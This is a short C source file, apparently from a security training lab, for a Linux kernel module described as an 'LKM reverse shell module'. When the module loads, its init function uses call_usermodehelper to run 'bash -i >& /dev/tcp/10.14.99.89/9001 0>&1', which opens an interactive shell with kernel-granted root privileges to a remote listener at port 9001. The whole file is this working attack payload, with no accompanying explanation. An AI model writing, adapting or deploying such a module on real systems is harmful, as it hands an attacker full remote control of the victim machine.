23 lines
718 B
C
23 lines
718 B
C
#include <linux/kmod.h>
|
|
#include <linux/module.h>
|
|
MODULE_LICENSE("GPL");
|
|
MODULE_AUTHOR("AttackDefense");
|
|
MODULE_DESCRIPTION("LKM reverse shell module");
|
|
MODULE_VERSION("1.0");
|
|
|
|
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.14.99.89/9001 0>&1", NULL};
|
|
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
|
|
|
// call_usermodehelper function is used to create user mode processes from kernel space
|
|
static int __init reverse_shell_init(void) {
|
|
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
|
}
|
|
|
|
static void __exit reverse_shell_exit(void) {
|
|
printk(KERN_INFO "Exiting\n");
|
|
}
|
|
|
|
module_init(reverse_shell_init);
|
|
module_exit(reverse_shell_exit);
|
|
|